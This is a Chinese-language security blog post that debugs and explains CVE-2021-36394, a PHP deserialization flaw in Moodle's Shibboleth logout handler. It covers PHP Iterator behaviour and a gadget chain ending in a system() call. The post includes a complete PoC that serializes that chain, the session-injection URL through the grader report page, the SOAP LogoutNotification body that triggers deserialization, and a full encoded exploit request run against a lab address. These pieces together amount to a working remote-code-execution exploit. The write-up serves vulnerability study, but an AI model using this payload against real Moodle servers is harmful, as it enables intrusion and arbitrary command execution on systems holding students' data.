CVE-2021-36394 调试分析
date
Dec 15, 2021
slug
CVE-2021-36394-analyse
status
Published
tags
PHP安全
安全研究
summary
moodle相关的一个反序列化的洞,分析一下
type
Post
moodle相关的一个反序列化的洞,分析一下
phpbrew安装完插件记得重启!!!!!!
需要开启Shibboleth认证插件,不知道咋开启,当时后台开启了
判断路径:
/auth/shibboleth/login.php
不知道如何写入session的,还需要一个恶意的类
参考:
pop链相关
过了一个月之后在xz上看到文章,又学到了一点新知识,主要是关于
Iterator
这个迭代器的一个知识点,这能拿来做一个新的跳板,而且这是属于PHP 7的新特性,注意这张图片的最后一句话关键是迭代器的那个类会实现接口中的一些方法,里面可能会有一些危害点,这个东西必须得跟foreach一起使用,所以可以关注foreach第一个参数是否是可控的,可控的就可以让其赋值为相关的接口的对象
<?php
/**
* 该类允许外部迭代自己内部私有属性$_test,并演示迭代过程
*
* @author 疯狂老司机
*/
class TestIterator implements Iterator {
/*
* 定义要进行迭代的数组
*/
private $_test = array('dog', 'cat', 'pig');
/*
* 索引游标
*/
private $_key = 0;
/*
* 执行步骤
*/
private $_step = 0;
/**
* 将索引游标指向初始位置
*
* @see TestIterator::rewind()
*/
public function rewind() {
echo '第'.++$this->_step.'步:执行 '.__METHOD__."\n";
$this->_key = 0;
}
/**
* 判断当前索引游标指向的元素是否设置
*
* @see TestIterator::valid()
* @return bool
*/
public function valid() {
echo '第'.++$this->_step.'步:执行 '.__METHOD__."\n";
return isset($this->_test[$this->_key]);
}
/**
* 将当前索引指向下一位置
*
* @see TestIterator::next()
*/
public function next() {
echo '第'.++$this->_step.'步:执行 '.__METHOD__."\n";
$this->_key++;
}
/**
* 返回当前索引游标指向的元素的值
*
* @see TestIterator::current()
* @return value
*/
public function current() {
echo '第'.++$this->_step.'步:执行 '.__METHOD__."\n";
return $this->_test[$this->_key];
}
/**
* 返回当前索引值
*
* @return key
* @see TestIterator::key()
*/
public function key() {
echo '第'.++$this->_step.'步:执行 '.__METHOD__."\n";
return $this->_key;
}
}
$iterator = new TestIterator();
foreach($iterator as $key => $value){
echo "输出索引为{$key}的元素".":$value".'\n\n';
}
?>
这是测试的代码,输出的结果如下:
第1步:执行 TestIterator::rewind
第2步:执行 TestIterator::valid
第3步:执行 TestIterator::current
第4步:执行 TestIterator::key
输出索引为0的元素:dog\n\n第5步:执行 TestIterator::next
第6步:执行 TestIterator::valid
第7步:执行 TestIterator::current
第8步:执行 TestIterator::key
输出索引为1的元素:cat\n\n第9步:执行 TestIterator::next
第10步:执行 TestIterator::valid
第11步:执行 TestIterator::current
第12步:执行 TestIterator::key
输出索引为2的元素:pig\n\n第13步:执行 TestIterator::next
第14步:执行 TestIterator::valid
可以观察到代码中会固定执行valid→current→key→next这几个步骤,因此在漏洞利用的时候可以多找找这几个函数
那么就来找一下这个漏洞的pop链
这一条是能直接RCE的
\core\lock\lock::__destruct→\core_availability\tree::__toString→\core\dml\recordset_walk::current
这个过程还是需要自己构建一些参数,可以观察到最后的触发点之前,还需要经过valid()和current()函数的处理,所以这里的$this->recordset最好还是找Iterable的实例对象比较好,只有这个对象才把对应的这两个函数给实现了,当然也能找其他的
漏洞作者最后找的是
question_attempt_iterator
这个类,这个类是实现了Iterable接口的,测试发现这个类并不在这个CMS初始化的类里面,这时候的解决方法找了一个中转类但是好像get_defined_classes打印出来的内容展示的并不全面,后来我还是全局搜索的spl_autoload_register才找到最终调用classloader在哪,这里是install.php调用的地方
如果是从index.php里面出发是以包含config.php触发的,最终会包含setup.php,在下图的代码里面包含最后的文件
找到对应函数,注释内容已经告诉我们是怎么加载文件了的,可以看到都是加载的classes文件下的php文件,最后还是常规的文件包含引入那个文件
此时打印一下
self::$classmap
的内容就能发现已加载的相关类,显而易见,都是在各模块下的classes文件夹下的php文件内容其中作者寻找的
question_attempt_iterator
并不在里面,实锤了,但是可以使用一个中间文件,就上图的core_question_external
类,这个类里面引入了question_usage_by_activity
所在的PHP 文件文章给出的poc:
<?php
namespace core\lock {
class lock {
public function __construct($class)
{
$this->key = $class;
}
}
}
namespace core_availability{
class tree {
public function __construct($class)
{
$this->children = $class;
}
}
}
namespace core\dml{
class recordset_walk {
public function __construct($class)
{
$this->recordset = $class;
$this->callbackextra = null;
$this->callback = "system";
}
}
}
namespace {
class question_attempt_iterator{
public function __construct($class)
{
$this->slots = array(
"xxx" => "key"
);
$this->quba = $class;
}
}
class question_usage_by_activity{
public function __construct()
{
$this->questionattempts = array(
"key" => "whoami"
);
}
}
class core_question_external{
}
$add_lib = new core_question_external();
$activity = new question_usage_by_activity();
$iterator = new question_attempt_iterator($activity);
$walk = new core\dml\recordset_walk($iterator);
$tree = new core_availability\tree($walk);
$lock = new core\lock\lock($tree);
$arr = array($add_lib, $lock);
$value = serialize($arr);
echo $value;
}
最后作者用了一层数组包裹着,然后触发,太巧妙了,这样一来就先包含了相关文件内容,然后再去实例化某个类,挺好的又学到一招了,不过这招在P师傅的那篇CSRF反序列化的文章也提及过,在index.php里面测试可以触发成功。
然而我一开始找到的是另外一个实现了接口的类,但是此时会变成不识别的类,导致不能进入对应的函数中。。。
还有另外一条操作数据库操作的链条,参考这个exp: https://github.com/dinhbaouit/CVE-2021-36394/blob/master/CVE2021-36394.php
最后到达的类是grade_item类,这个类里面有很多的数据库操作,可以利用这个点进行数据库操作
寻找写入session的入口点:
从exp里面可以看出来写入的路径在:
grade/report/grader/index.php
这个页面是可以直接访问的,但是前提需要我们去设置一些参数,这里有required_param和optional_param两个函数方法,这两个函数实际上是必须要的参数以及可选参数,跟进去就可以发现这些内容都是用$_GET和$_POST封装的
这时候就需要寻找session相关的写入点,可以看到这两处地方可控,而且这里的传入的内容最后还会写入到session中去,他这里的session使用了全局变量加引用的方式封装,本质上还是那个全局变量$_SESSION,此时只要输入id和sifirst参数写入内容即可,因为id参数是必须的
反序列化的触发点:
auth/shibboleth/logout.php
这个认证方式默认是不开启的,需要后台开启一下可以看出当获取的内容为$inputstream,并且这个内容不为空的时候,会调用SoapServer的LogoutNotification进行处理,因为moodle默认是文件存储session的,会走logout_file_session函数,这个函数会遍历这个文件夹下的内容,然后反序列化里面的内容,但是这个反序列化函数也是经过封装过的,经过了一次正则的处理
这里$inputstream,需要是这种格式的
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>
<LogoutNotification><spsessionid>xxxx</spsessionid>
</LogoutNotification></soap:Body></soap:Envelope>
上图的
data[0]
是session文件的所有内容,在unserializesession函数里面纪念性分割,是以|
进行分割,两两一组,|
后面的内容将会进行反序列化的操作,所以在我们写入的时候必须闭合一下相关的内容,也可以不闭合,直接简单粗暴(这是因为他争则的问题。。。。),aaaaaa|......payload......|bbbbbb
构造这样的形式也是可以触发的http://10.101.168.140:49079/grade/report/grader/index.php?id=test123&sifirst=aaaaaa|a:2:{i:0;O:22:%22core_question_external%22:0:{}i:1;O:14:%22core\lock\lock%22:1:{s:3:%22key%22;O:22:%22core_availability\tree%22:1:{s:8:%22children%22;O:23:%22core\dml\recordset_walk%22:3:{s:9:%22recordset%22;O:25:%22question_attempt_iterator%22:2:{s:5:%22slots%22;a:1:{s:3:%22xxx%22;s:3:%22key%22;}s:4:%22quba%22;O:26:%22question_usage_by_activity%22:1:{s:16:%22questionattempts%22;a:1:{s:3:%22key%22;s:2:%22id%22;}}}s:13:%22callbackextra%22;N;s:8:%22callback%22;s:6:%22system%22;}}}}|bbbbbb
直接写入了,触发
总结
1.如果单纯测试payload是否可行,测试的时候最好还是在index.php页面测试,不然的话还得自己找一下spl在哪里注册的全局类,最好还是找找spl引入的地方更方便自己调试
2.这种没有框架的,还是得注意一下spl,梳理好怎么调用每一个class
3.使用数组包含多个类,然后利用中间类去引入其他文件(本质上是spl的注册文件包含问题),又想到另外一个点,这个点跟这个moodle还是有点不同的(我用的非windows调试),这里通过中间类文件包含是因为恰好需要的文件在同一目录下,没涉及到文件分隔符的作用
4.还是得梳理整个CMS的内容包括他是如何输入数据的,怎么封装的,还是得了解清楚